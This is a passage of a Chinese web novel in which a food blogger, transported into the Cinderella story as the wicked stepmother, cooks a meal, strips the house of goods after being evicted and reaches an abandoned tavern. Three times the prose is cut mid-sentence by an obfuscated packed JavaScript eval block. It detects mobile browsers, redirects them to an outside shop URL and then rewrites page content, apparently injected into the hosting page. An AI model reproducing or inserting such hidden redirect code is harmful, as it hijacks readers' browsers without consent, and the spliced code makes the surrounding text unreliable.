《穿进童话世界开饭馆》 1. 第 1 章 很久很久以前，巨人、矮人、精灵、魔法师共存的年代，有一个叫黑森的王国。 王国里有一个幸福小镇，镇上有一座带花园的大宅邸，住着一对夫妻和他们的三个女儿。 一天夜晚，漂亮宅邸里传出激烈争吵—— “听着，天亮之前必须离开。” “男主人说了，这是你们欺负辛德瑞拉应得的惩罚。” “另外，你们不能带走任何珠宝金银！” “上帝啊！我不信爸爸会赶我们走。”尖锐女声打断了管家的下文。 “这一定是个玩笑，我的宝石项链、礼服，我的高跟鞋……它们还属于我，对吗？”另一道惊叫紧随其后。 壁炉边的扶手椅上，丰腴美丽的女人虚弱睁眼，滞涩转动碧绿瞳孔，观察四周。 记忆接收了，洋人的瓜也吃明白了，尤兰达不甘地接受自己穿越了。 不是普通的穿越，而是穿书，并且穿成了大名鼎鼎的灰姑娘的恶毒继母。 睁眼速通大结局，即将迎来原著里为恶毒反派标定的凄惨下场，尤兰达整个人懵懵然。 尤兰达·费尔南多，这具身体的名字。 饿死、气死或低血糖发作，总之最后被她占了身体。 今天是灰姑娘和王子结婚的日子。 母女三人盛装前往皇宫参加婚宴，打算多结识些黄金单身汉，好将女儿们嫁出去。 她们欢欣雀跃的来到皇宫，等来了男主人拉斯穆斯·尼尔森派来管家，强行将她们遣返，夺走了她们身上佩戴的珠宝，并转达驱逐母女三人的决定。 理由自然是清算她们往日对辛德瑞拉的种种苛待。 不放在心上的亲生女儿成了王国尊贵的王妃，取之不尽的财富与权势唾手可得。 拉斯穆斯·尼尔森医学奇迹般耳清目明，立刻换上慈父脸，为辛德瑞拉主持迟来的公道，亲手惩处她的继母与继姐。 尤兰达望着眼前混乱的烂摊子，总结出四个字——天崩开局。 她的新人生，不出意外是要从这一地鸡毛中，正式开始了。 尤兰达揉了揉脑袋，试图结束争吵，一起身站定，女孩们像惊慌小鹿扑来。 “妈妈，你还好吗？爸爸对我们太残忍了。”大女儿西芙拉愤怒指责。 “妈妈，我们该去哪呢？我还能参加舞会吗？”小女儿菲奥娜对驱逐的严重性一知半解。 金发蓝眼、打扮花枝招展的少女们团团围住她，浓烈香水味迎面痛击，熏得尤兰达想割掉鼻子。 她偏转脑袋，视线挪向一侧的管家，“天亮之前？” 管家皮笑肉不笑：“是的。” 母女三人入夜前抵达皇宫，遣返回来时月亮正好升空，此时距离天亮有很长一段时间。 尤兰达：“小西，小菲，回房间，收拾你们的东西。” 大女儿西芙拉不放心：“我可怜的妈妈，你需要我和菲奥娜的陪伴。” 尤兰达快要融化了，便宜女儿怪贴心的。 别扭一会，她勉为其难接受自己多出两个女儿的设定，有气无力：“我啊，更需要续命。” 为了保持体态，母女三人节食半个月，婚宴当天直接粒米未进，尤兰达饿得恨不得啃自己两口。 支走女孩们，尤兰达顶着管家戒备瞪视径直奔去厨房，抱起一罐果酱连挖三勺塞进嘴里。 略等了等，低血糖症状缓解，饥饿感疯狂叫嚣，席卷感官。 尤兰达下意识睃巡厨房，想随便抓点什么应付一下胃酸，东摸一会西翻一会，她开始怀疑人生。 半锅麦粥黄黄绿绿，和掺了胆汁的呕吐物别无二致。 黑麦面包硬邦邦，切它比分尸难，闻着酸溜溜的，像过期了一辈子那么久。 好歹毒的黑暗料理！ 为小命着想，尤兰达打起厨房未经料理的食材主意。 桌上备有火腿、培根、肉肠和鸡蛋。桌旁的蔬菜筐堆有土豆、胡萝卜、卷心菜、洋葱、豌豆、番茄等。 调味料最多，有粗盐、猪油、果酱、黄油、麦芽糖、芥末粉等，昂贵的蜂蜜、橄榄油、蔗糖块藏进抽屉里。 独具当地特色的咸肉酱、鹿肉酱装了一大罐。 所幸材料齐全，认识的不认识的一大堆，凑出一顿像样晚餐不难。 尤兰达支使厨娘帮忙削土豆皮胡萝卜皮、切洋葱丁，自己负责给火腿、肉肠、培根切丁。 厨娘慑于夫人往日淫威，犹犹豫豫地动起手，才找到合适工具、挑出土豆，旁边菜刀笃笃笃。 陌生动静传来，厨娘懵懵转头。 一抬眼，却看尤兰达握着菜刀舞出一片残影，眨眼工夫，案板上多出一堆小肉丁。 “上帝啊……” 她从未听说夫人有这一手，切出来的火腿丁大小竟然相差无几。 目瞪口呆之时，厨娘早忘了提醒火腿、肉肠等是为男主人准备的食材，尤兰达没资格享用。 一大块火腿、两根香肠切完，尤兰达熟悉了工具，速度逐渐加快，培根没一会也变成了刀下亡丁。 厨娘敬畏地捧上土豆、胡萝卜、洋葱，守在一旁准备看个仔细，看它们到底如何变成小方块。 尤兰达打散十枚鸡蛋加盐搅拌，放置一旁备用，见状厨娘闲下来，不客气地安排她抱柴给三个炉膛生火。 炖、煮、烤是当下流行的烹饪方式，煎炸炒的概念未能形成。 体现到生产工具上，就是大家使用的铁锅、陶锅整体偏厚实，想要锅热得等上一会。 等炉灶烧旺的同时，尤兰达趁机瞅了瞅厨娘的动作，偷学生火技巧。 三口铁锅齐上阵，一锅给豌豆焯水，一锅煸培根、香肠。 “滋啦滋啦”，随着油热，培根、香肠下锅瞬间激发出肉脂香气，别样风味引得厨娘无心看顾柴火。 简单炒两下盛出备用，留点底油放土豆丁胡萝卜丁翻炒断生，紧跟着加入火腿丁、培根丁、肉肠丁和豌豆。 粗盐咸度低，溶解慢，尤兰达尝过味道后，把调味步骤提前，多放了半勺进去，和洋葱丁一起炒。 看不见粗盐明显颗粒状态时，洋葱刚好炒软。 让厨娘调小火，尤兰达赶紧倒一半蛋液进去融合，又加了一勺鹿肉酱丰富口味。 出锅前，她没什么把握地尝了一口，砸吧砸吧嘴： 盐味微微发苦，好在鹿肉酱咸鲜，盖住瑕疵。 还行，凑合吃。 穿越前，尤兰达是纯血统中国人，出生于三线小城。大学毕业当起美食博主，没几年踩上风口攒够本金，重启了父母的私厨餐厅。 店铺开业在即，她整理后厨、调试设备、核验食材、设计菜单……起早贪黑连轴转忙了大半个月。 正式营业前一天，尤兰达准备了伴手礼，邀请死忠铁粉们聚餐，以表感谢。 谁知备菜到一半，低血糖的老毛病犯了。 她来不及翻包拿出软糖，身体一晃向后栽倒，后脑撞上桌角，尖锐的剧痛只持续一瞬，黑暗吞噬一切。 到底怎么死的，尤兰达自己都说不清。 可惜她斥巨资买下的设备和优质食材了。 收回思绪，尤兰达挥舞勺子盛出无米蛋炒饭。 厨娘不认为自己忽略了什么，可那一锅叫不上名字的食物就这么出锅了，金黄喷香，油润光亮。 她凑近狠狠吸了一口气，口腔不由自主地分泌津液。 真香啊。 不多时，第三口锅烧热了，尤兰达吩咐厨娘倒橄榄油，油热下番茄炒出汁。 厨娘慢半拍回神， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200977|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌手慌脚按照她意思去做，一边笨拙地翻炒番茄，一边偷瞥餐盘里堆成小山的无米蛋炒饭。 太奇妙了，她从来没见过有人这样烹饪！ 厨娘回想尤兰达进厨房后所有的稀奇操作，发出真诚赞叹，可除了流畅好看之外，她一样没看懂。 无米蛋炒饭出锅没多久，一锅热气腾腾、红黄相间的番茄蛋花汤也好了。 真好看，也不知道是什么味…… 厨娘搅弄着菜汤，疯狂吞咽唾沫，不敢相信它是从自己手里诞生。 有饭有汤，这条命算续成了，恰好尤兰达体力所剩无几，身上冷汗涔涔。 她不敢逞强，吩咐厨娘继续把炉灶烧旺，洗出几颗土豆鸡蛋扔进第二口锅，就着焯豌豆的水煮熟它们。 这一锅是留给母女三人的干粮，确保她们找到新的落脚点前不会饿死在路上。 无米蛋炒饭分成三份，蛋花汤分出三大碗，端上餐桌没一会，女儿们拖拖沓沓跑下楼，心痛嚎叫。 “妈妈，我选不出来！”西芙拉埋进一条缀满珍珠的塔夫绸裙子里，“每一条裙子我都不能放弃……我们再去求求爸爸好不好？” “我的帽子是新做的，”小女儿菲奥娜抱着一顶宽檐帽，帽檐上的羽毛颤巍巍抖动，“而我只能选择它们其中几顶，这太为难我了，妈妈！” 一连声的“妈妈”叫得尤兰达头皮发麻，喘口气，扫过两人精挑细选的华丽礼服裙，沉默了片刻。 “先吃饭，我会想办法。” 两个女孩极为信赖老母亲，闻言立刻停止哭嚎，看向餐桌。 西芙拉耸动鼻子嗅了嗅，“它们可真……特别。” 尤兰达没空解释，着急续命。 她一屁股坐下，刚举起勺子，一阵窒息袭来。 该死的束腰！ 原身习惯了束腰的存在，站着没太多感觉，一坐下简直要勒断肋骨。 尤兰达找出剪子带回房间，吩咐女仆直接剪掉束腰背后的系带。 女仆一边剪，一边不停地惊呼“上帝啊上帝啊”，她全当没听见。 束腰啪一下落地，换上宽松轻便的长裙，尤兰达原地复活。她长长地、贪婪地吸了一口气，快步下楼。 “你们……” 餐桌前，两个女孩狼吞虎咽，一下子消灭了一小半的份量。 乍一瞧见新奇食物，两人抱着试毒心态先尝了一口，只一口，她们的味蕾彻底臣服。 这和她们以往吃过的食物完全不在一个档次。 尤兰达抽了抽嘴角，她真以为俩狠人的胃有奇特构造呢。 母女三人排排坐，埋头干饭，神情专注而满足。 “咕咕——咕——” 餐厅响起打雷般的动静。 女仆、厨娘和管家，三人交换一下眼神，尴尬地按住肚子。 奇怪，以前的他们也没这么嘴馋过啊。 管家清清嗓子，试图挽回颜面：“三位，容我提醒，你们的时间不多了。” 尤兰达的身体经不住暴饮暴食，吃到七分饱，气力逐渐充盈四肢后便遗憾停下。 “听说，拉斯穆斯不允许我们带走金银珠宝？”她抬头扫过管家等人。 管家：“正是。” 尤兰达微笑：“没有说过不允许带走衣服鞋子吗？” 管家：“没有。” “也没有说过不允许带走被子毯子吗？” 管家不耐烦，她的疑问可真多，“没有。” “如此，想必你的主人也一定没有说过，不允许我们驾走马车，对吧？” 管家倏然回过味来，半张着嘴说不出话。 尤兰达笑意加深，提起裙摆，踏上楼梯。 “我会谨遵他的吩咐，请上来监督吧，管家先生。” 2. 第 2 章 “哦——我的上帝啊！” 管家呆立尤兰达的卧室门口，发出震惊低呼。 厨娘和女仆瞪圆眼睛，望着屋内乱糟糟的景象。 以尤兰达为主的母女三人，像闯进富豪宝库的盗贼。 她们拆了天鹅绒窗帘，平铺地毯上，转身把亚麻衬衣、丝绸长裙、细棉睡袍……所有春夏季衣物一股脑抱出衣柜，尽数扔上去。 堆放完毕，尤兰达拽着窗帘布两角，一裹一掖再一滚，最后用几根丝带拧成的绳子扎紧前后两端，活脱脱一条“香肠”。 秋冬季的羊毛裙子厚实衣衫，以及昂贵的皮毛大衣等，全部叠放在两抬大皮箱里，她们通通搬出来，打算连箱子一起带走。 料理好衣物，尤兰达扯下第二块窗帘布，瞄准床品。 保暖的皮毡、厚重的毛毯、亚麻被、丝绸被、蓬松的棉花被与枕头……一样不落。 挂毯、地毯，春夏冬三个季节的床幔也没忘记。 挂毯能抵挡石墙的阴冷，地毯铺地能有效防止室内温度流失，精致漂亮的床幔能防蚊虫，也能进一步防风保暖。 看似装饰物，放在当下时代背景里，实则是不可或缺的必需品。 根据原身零碎的记忆，她们所处的黑森王国冬季严寒漫长，且来得极早。 眼下是八月盛夏不错，最多一个半月后，寒冬便会降临。重新置办防寒衣物和生活用品时间紧迫不说，花费资金甚巨。 “强盗！你们是被男主人驱逐出尼尔森家的，没资格带走它们。” 管家回过神后，急得跺脚，拦在房间中央，声音因愤怒而拔高。 尤兰达仗着原身高挑身材，撞开碍事的管家，神情冷漠凶恶：“贵重珠宝我们一件没拿，不是吗？” 是，贵重珠宝一件没拿，其他东西一件不落。 管家阻止不了她的行为，又挑不出她话里毛病，气得胡子直翘。 母女三人浑身散发不好惹的气势，吓得女仆和厨娘也不敢触霉头，偌大的宅邸任她们来去自如。 不一会，铜烛台、白蜡烛、化妆品、清洁护理用品、锡盆锡桶，茶壶茶杯……见缝插针地塞进了藤编行李箱。 这下，房间是真的搬空了。 管家拍着大腿长长叹气。 他毫不怀疑，但凡四柱床和衣柜不是太过庞大，母女三人一定会搬走它们。 尤兰达清点过行李数量，拍拍手，领着满脸崇拜神情的女儿们，气势汹汹地转战隔壁西芙拉的卧室。 她一声令下，女儿们撸起裙摆开干，这里也很快搬空。 轮到菲奥娜的房间时，大家无需指挥，默契动手。 虽然两个娇生惯养的女儿总是忙不了一会就嚷嚷着歇息，好歹收拾完了。 “要帮你们抬走吗？” 管家眼不见为净的祷告片刻，阴阳怪气开口。 尤兰达：“谢谢，你的帮助太及时了。不过我们需要另外收拾一些东西。” “已经没有你们应该带走的东西了。”管家连忙侧身挡住男主人的卧室入口。 尤兰达瞥去嫌弃目光，谁要臭男人的东西。 多亏夫妻俩分房睡，否则一屋子的私人物品，起码要丢一半。 她吩咐女仆多找了几个藤编箱，在大厅地毯上一字排开。 然后，尤兰达的碧绿眼眸雷达探照灯一样扫射宅子。 “小西，把斗柜上的银镜放进去，杂物间剩下的蜡烛都要了。” “小天平和小沙漏别忘记，各一套就好。” “小菲，去庭院把柴刀和斧头装进去，那是我上个月新买的。” “餐具拿三套，刀叉勺子别落下，蜂蜜酒装进餐篮里。” “新买的布匹呢？都拿走。” 最后，尤兰达转向厨房。 尼尔森做香料生意，虽然货仓不在家里，但自家使用调味料并不吝啬，除了金贵的胡椒，差不多各品种齐备，绝对不容错过。 轮到自己被抄家，厨娘天塌了，冲上去阻拦时，两位小姐狠狠推开她不准许靠近。 她眼睁睁看着尤兰达连吃带拿。 刀具和案板就算了，香料、调味料一个不放过，连藏进陶缸深处的培根、肉肠，挂在梁上的咸肉、火腿，橱柜储存的小麦粉、土豆、白面包、嫩玉米……一并翻找出来。 天呐，她收走了男主人新买的、招待贵客的葡萄酒！ 管家呼哧呼哧喘气，训斥她们太过分。 厨娘望着找不出一粒小麦的厨房，急得团团转。 尤兰达抚摸满当当的五个大野餐篮，十分满足。 “管家先生，我想它们可比不上珠宝贵重，对吗？” 西芙拉开团秒跟，截断管家话头：“当然了，我的好妈妈，它们怎么能和珠宝比。” 菲奥娜挤进来，捧起一陶罐，“妈妈，我想要草莓酱。” 尤兰达硬是从满溢的野餐篮里扒出一点空间，塞进一罐草莓酱。 “这下该满足了吧，尤兰达夫人。” 管家死死盯着母女三人脚边堆放的一袋袋食材，咬牙切齿。 尤兰达没有回答，缓缓搜寻。 下一刻，她的视线锁定厨房门边的墙壁上，双眸发出锃亮光芒。 竟然有一串细长饱满、颜色鲜红，半截手指大小的鲜辣椒！ 当地人习惯用辣椒暖胃驱寒或观赏，因和药沾边，价格称不上便宜。 尤兰达当即翻出空陶罐，摘下全部辣椒塞进去。 心满意足准备离开，她眼角余光又瞥见了灶台上的三口大铁锅，和备用的陶锅铜锅铜盆等，脚步顿住。 “我保证是最后一样了，管家先生。”她微微笑，手指灶台方向。 厨娘一个踉跄，差点摔倒。 上帝啊，请您千万不要保佑尤兰达夫人！ 铁锅铜锅属于重要家庭资产，管家坚决不松口。 尤兰达：“它们是我的嫁妆，你们无权扣留。” 原身出自商人家庭，陪嫁的物品以实用、体面为主。 体面，指丝绸、布匹、皮毛、金银首饰、女仆一类。 实用，则指铁锅、铜锅、银餐具、家具、马车等。 卧室里那张尤兰达无比惋惜的实木大床，和铁锅一样，同属于原身的嫁妆之一。 原身带来的香料、布匹，早已在多年的婚姻生活里消耗殆尽，她们收拾出来的所有家当价值不及嫁妆一半。 管家恍恍惚惚想起，似乎……确实如此。 尤兰达嫁妆颇丰，继承第一任丈夫的遗产后更有钱了。 带着两个女儿嫁入日渐式微的尼尔森家后，又不能离，只好用私产填补夫家窟窿，维持中产的体面，稀里糊涂过了许多年。 近一两年，家中仆人的薪水都是家中女主人发放的呢。 管家像漏气的球，飞快瘪了下去，反对声戛然而止。 趁他踌躇，尤兰达重返厨房大扫荡，地窖翻个底朝天，睡不安生的老鼠吱吱溜走。 深夜，皮箱藤箱依次搬进车厢，衣物被子杂物等塞进车顶与车后的行李架。 粮食蔬菜用麻布袋扎紧，悬挂外侧栏杆固定，整架马车找不到一丝空隙。 多亏了商人家庭必备的载人载货两用马车，她们得以带走所有物资。 尤兰达最后检查一遍捆绑的绳索，坐上车架，牵起缰绳。 “帮我转告拉斯穆斯：想讨好辛德瑞拉，惩罚我们固然直接，难道他就毫无责任吗？” “他最好每天祈祷，希望辛德瑞拉不会意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200978|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到，她过往的苦难少不了父亲刻意纵容的默许。” 灰姑娘的故事里，开头就让所有读者相信：灰姑娘因生母教导而生性温驯纯良，以至于对继母的苛待逆来顺受。 然而细思，亲爹的袖手旁观在叙事中被悄然隐去，从头到尾毫无存在感，也无人提及，摘得干干净净。 灰姑娘多年来忍受继母刻薄慢待，从未寻求过亲爹庇护。 王子举办舞会，她宁愿和继母争取机会，也不曾向血脉相连的亲爹求助。 年轻女孩爱美爱打扮天性使然，两个姐姐张口要珠宝华服做礼物，属于情理之中。 对比之下，年纪最小的灰姑娘十分“懂事”，只要随处可见的树枝，值得细品。 要尤兰达来说，哪有天生懂事的小孩，不过是早在一次次失望中学会了什么叫“开口也是枉然”。 置身事外的既得利益者拉斯穆斯，不见得比原身高尚，至少在对待灰姑娘这件事上，两人半斤八两。 “最后，请替我们谢谢拉斯穆斯的慷慨。”尤兰达瞄一眼身后的一大车，“我们决定搬去霍格沃茨定居，假如他对我们的行为有异议，随时欢迎他来算账。” 话落，尤兰达手腕一抖，软鞭咻一下抽上马屁股。 马车吱呀前行，载着母女三人的所有家当，叮铃哐啷奔赴新生活。 “你们听说过霍格沃茨吗？” 马车融入夜色，眨眼工夫不见踪影，厨娘扭头问出大家心声。 管家耸肩摊手，谁知道呢。 三人折回厅堂，对着昏暗的、光秃秃的宅子，齐齐露出忧愁神情。 难以置信，怎么能连筛子\扫帚\水桶都不留！ 管家这时注意到橡木长桌上的残羹冷炙，目光定住：“你确定，这些都是尤兰达亲手做的食物？” 他向上帝发誓，尤兰达嫁进尼尔森家后进厨房的次数屈指可数，也从未听说她擅长烹饪。 天知道看着母女三人进食的时候，他有多想尝一尝。 厨娘连说带比划，倒豆子一样讲述尤兰达如何让食材们乖乖听话变成丁。 管家和女仆听得直惊叹，情不自禁凑到桌边。 “好香……” “我看到了培根。” “不对，你一定骗我了，土豆不长这样。” 三颗脑袋沉默了一阵，不知道谁先动的手，他们捏起一撮无米蛋炒饭放进嘴里。 下一秒，三双琥珀色瞳仁齐刷刷圆瞪，惊为天菜。 - 月上中天，装扮华贵的马车摇晃驶来，停在宅邸庭院入口。 不一会，马夫费力搀扶醉意醺醺的主人走下车架。 管家听到动静，擦擦嘴角，整整衣袖，急忙出门迎接。 “主人，不好了，夫人和……” 拉斯穆斯打了个酒嗝，挥手打断：“她们不肯走对吗？好吧，我早知道会是这样。 告诉尤兰达，想讨好我和新王妃，她们必须付出些‘诚意’。” 管家吞吐片刻，把话说完：“不，主人，她们走了。” 拉斯穆斯反应一会，絮絮叨叨：“好吧，她们不会知道自己错过了多少，我保证她们会后悔，不出几天就要来求我。 想想看，很快就是冬天了，要知道可是冬天会杀人的，除了善良的尼尔森家，没人愿意收留她们。” 踉踉跄跄走出去几步，他想起什么，问：“她们没带走我的珠宝和金银吧？” 管家垂下脑袋，声线发虚：“谨遵主人吩咐，没有。” 拉斯穆斯很满意，迈步走进大门。 当他借着烛光和月光，看清像是被盗贼劫掠过的家，揉了揉眼。 “但是……除金银珠宝外，尤兰达夫人搬走了所有其他物品。” 3. 第 3 章 皎洁月光照亮蜿蜒土路，两侧树林传来老鸦凄厉鸣叫。 山风迎面吹拂，西芙拉、菲奥娜一激灵，她们真的离开生活多年的尼尔森家了。 “妈妈，霍格沃茨在哪里？它很远吗？”西芙拉神情不安。 尤兰达：“很远很远，不过我们不去那。” 菲奥娜皱起脸：“那我们去哪？我舍不得伊索拉和老约翰。他们总能做出我喜欢的漂亮裙子和鞋子。” 脱离幸福小镇熟悉的人事物，开启一段全新的未知生活，恐慌、迷茫的情绪汹涌袭来，女孩们无措地紧挨着。 她们能去哪呢？ 母女三人可选择的退路少得可怜，这也能理解，为什么原身得知被驱逐后会活活气晕。 原身父母早逝，姐妹远嫁，兄弟继承商队走南闯北，居无定所，一家兄弟姐妹一年到头见不了几次面，投靠亲友不现实。 再盘点原身所有资产，十之八九全填了尼尔森家的窟窿，手上还剩一间闲置的铺子，是第一任丈夫留下的遗产。 尤兰达翻遍记忆，只有那间闲置铺子能容下她们。 那是一间酒馆，因地段不错总能顺利租出去赚取租金，原身没舍得卖掉，瞒着丈夫悄悄留下。 半年前，一场大风袭来，皇城一大半房屋遭难，所有使用茅草和木板混搭的屋顶几乎全被大风掀飞。 恰逢皇城市议厅换新管理官，从消防安全考虑，趁机要求皇城所有商铺、工坊必须换成陶瓦片才准许经营。 原身手里拮据，换瓦的事一拖再拖，酒馆老板不得不终止租赁，搬去别处。 尤兰达穿来之前，原身已经联系了掮客，准备卖掉它给女儿们攒嫁妆，苦于找不到合适买家。 “去我们的新家。没有新裙子、没有大房间，也没有女仆和厨娘，但有一样十分珍贵的宝贝。” 两个女儿闪亮着蓝眼睛望过来。 尤兰达：“我们有自由。” 西芙拉和菲奥娜面面相觑，对抽象的词汇似懂非懂。 “自由……好吧，我还是喜欢丝绸裙子。” 菲奥娜耸肩，小声和姐姐嘀咕，西芙拉扯了扯嘴角回应，以表赞同。 尤兰达不再解释，牵紧缰绳，专心操控不太听话的马车。 “嘿！伙计，走平坦的路。” “上帝啊，千万别把我们带进沟里，否则我会狠狠抽你的屁股。” 原身的驾车经验不多，尤兰达一边努力回忆，一边笨拙模仿。不确定是翻译腔起作用了，还是威胁更有效，吆喝半天后，车架稳当许多。 折腾一晚上，情绪大起大落，姐妹俩困倦不已，脑袋一点一点。 车厢无法容纳她们，两人可怜兮兮缩在门边，互相依靠着打盹。 尤兰达感受林间夜风，即便盛夏，温度也不高，体感20度左右。 她解下身上的亚麻斗篷，横着盖刚好遮住母女三人。可不能生病，会死人的。 黑森王国和她了解的中世纪欧洲有几分相似，比如治病靠放血这一点，一治一个不吱声。 因为死人不能吱声。 通常来说，不治或许有机会自愈，治了百分百重新开局，撒旦来了都要五体投地说承让。 这么一想，她穿越后见到的每一个人，命都挺硬。 马蹄哒哒，车架嘎吱作响，尤兰达随着颠簸东摇西晃，胡思乱想中，大脑越发清醒。 身侧的女孩们熟睡，她轻手轻脚地掏出裙摆内侧的羊皮小包。 拆床幔时从夹层里找到的，指尖一接触小包，属于原身的模糊记忆倏然清晰，她不动声色地收起。 借着月光，尤兰达小心翼翼打开小包，趁着空闲清点原身的私房钱。 5枚边缘轻微磨损银币，360枚色泽暗淡的铜币，15个指甲盖大小的铜分，和四把不知用在何处的黄铜钥匙，别无其他。 黑森王国及周边数十个国家货币互通，常用货币分为金、银、铜三种。 兑换关系是：10铜分兑换1铜币，100铜币兑换1银币，100银币兑换1枚金币。 8银币61铜币不出意外是原身所有现金积蓄了，和二婚前的经济状况做对比，只能说惨不忍睹。 尤兰达尝试过借收拾家当捞一点现钱，东翻西找一无所获才醒悟过来，拉斯穆斯防着原身呢。 珠宝金银早转移了出去，连母女三人参加宴会佩戴的首饰，都由管家第一时间收走，不给她们钻半点空子。 尤兰达越想越后悔，后悔没掀了陶瓦一起打包装车。 她揣好羊皮小包，感叹前路艰难。 连烧火柴都要花钱买的时代，这点钱实在不经用，想指望它们钱生钱得费点脑细胞。 穿来前她每天烦的是吃什么喝什么，下期拍摄主题选什么。 让体验过财务自由的人，重新过回捉襟见肘的日子，太玩心态了。 “……系统？” 呼呼风声中，尤兰达试探着开口。 “系统大人，您吱一声呗？”她竖起耳朵捕捉所谓的电子音、机械音。 寂静无声。 这年头穿书不流行配系统了吗？ 行吧，自己动手，丰衣足食。 马车向深蓝的夜幕行驶，车架吱呀吱呀，混着锅碗瓢盆叮叮咚咚的碰撞。 天色将亮未亮时，她们穿过森林，正式踏入王室领地，道路两旁依稀可见村镇和田地的轮廓。 “当——当——当——” 浑厚悠远的钟声从坐落于村镇的修道院钟楼传来，惊起了夜栖的鸟雀，扑棱棱飞过她们头顶。 尤兰达打了个呵欠，活动僵硬的筋骨。 原身的生活常识告诉她，这是每日晨间“赞祷”的钟声，提醒修士可以祷告了。 没有钟表的时代，家家户户依靠修道院、教堂的钟声来判断时间，清晨4点的赞祷钟声同时也向大家宣告新一天的开始，该起床当牛马了。 尤兰达粗略估算，晨祷（凌晨2点）后出发，到目前她们在路上花了大约一个半小时。 尼尔森家所居住的幸福小镇属于伯爵领，因税率比王室领地低，吸引了许多商队定居做生意，偶尔去皇城大市集采买。 镇子与皇城虽分属不同领地，从实际距离来算其实并不远。之所以一个半小时还未抵达目的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200979|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地，有尤兰达出于夜间行驶的谨慎，和她对驾车的不熟练，以及中途走错路的因素。 尤兰达默默祈祷，希望酒馆的隔音效果足够好，她可不想天不亮被闹钟叫醒。 马车前行了一、二里左右，黑森王国皇城高耸的城门隐约可见，路上推着小车、挎着篮子的行人增多，向城门方向汇集。 顺利进入皇城，最先映入眼帘的是宽阔的主干道，道路两旁挨挨挤挤地矗立着两三层高的房舍，大多是下店上宅的格局，外墙色彩缤纷明快。 每一条街区都建有一个由鹅卵石铺就的小广场，广场中央要么立着雕像，要么挖了喷泉，教堂规律分布于街头巷尾。 稀奇的是，街上商铺、住宅门前大都栽种了绿植鲜花，路上鲜少见到人类排泄物，偶有牛马、骡子骆驼粪便散落犄角旮旯处等着清粪工处理。 果然是童话世界，真正的中世纪城镇绝对没这么干净。 街上行人不算多，男男女女赶着去上工、做买卖，步履匆忙。尤兰达格外小心驾车，避开来往行人，凭着原身模糊的记忆寻找她们的落脚点。 当初时祷（清晨六点）的钟声伴随太阳升起，马车兜兜转转半天，停在贝壳街上一条叫“矮人巷”的巷子口。 矮人巷和其他街巷略有不同，建筑风格更粗犷，没有鲜艳的外墙。 一条约四米宽的清澈溪流硬生生将巷子劈开，分出南北两街，由三座小石桥连接。 岸边，两排房舍面水而建，中间夹着一条两米来宽的石板小路，马车通行略显局促，行人来往绰绰有余。 尤兰达眨了眨眼，险些以为自己闯入某个古镇老街。 道路太窄，她跳下车牵着马拐进巷子。只要找到巷子口枝繁叶茂的大橡树，距离她们的落脚点就不远了。 小酒馆紧邻橡树，是矮人巷北街的第一间店铺，距离主街尤为近。 正面看，酒馆的店铺和宅院全由砖石混搭，二楼开了一排小窗，三楼一半搭建阁楼，一半做露天平台。 而此刻，铺子的屋顶光秃秃，一根茅草不剩，木质房梁暴露阳光下。 目光挪向店门左侧，旁边约四、五米处开了一扇院门，大门紧锁。 尤兰达透过缝隙探查，门后有木板搭建的车马棚，粗略估计能塞下两架马车，容纳四匹马，深处有小门通往后院。 确定是自家的院子，她摸了摸院门上挂着的黄铜锁，鬼使神差地摸出羊皮小包，取出黄铜钥匙。 果然，其中一把刚好插进锁孔，手腕轻轻一拧锁头便弹开。 尤兰达推开院子大门，拽着马车停进车库。 “妈妈，这是什么地方，好破哦……我们要住这里吗？”西芙拉揉着惺忪睡眼，茫然环顾周围。 太小了，连个像样的花园都没有。 菲奥娜迷迷糊糊睁眼，看清眼前景象的下一秒，脸上露出了和西芙拉如出一辙的嫌弃与惊吓。 “妈妈，我想我还没睡醒，对吗？” 尤兰达栓好缰绳，推开车马棚通往后院的栅栏门，朝两人招了招手，打破她们最后的幻想。 “来吧，姑娘们，进来看看我们的新家。” 4. 第 4 章 酒馆坐北朝南，典型的前店后坊格局院落。 从车马棚的栅栏门进去，有一条宽敞过道，左转通向后院，右手边有一扇通往店铺的后门。 尤兰达先去看店铺。 一推开后门，积攒的灰尘，劈头盖脸飞落，呛得她们打了几个喷嚏。 西芙拉和菲奥娜掩住口鼻惊叫跑走，打死不愿跟上。尤兰达无奈，略等了等，自行进去查看。 后门连接厨房，一个四十多平的长方形空间。 厨房采光全靠临街的粗石墙上开出的大窗户，白色窗纱滤出昏朦柔和的光，倒映矮人巷来往的人影。 走进厨房，左手边靠墙砌有拱形砖窑炉，加上晾放区，单独占据厨房一处角落。 带烟道的灶台有四口，灶台旁隔出一平方空间堆放木柴、引燃物。 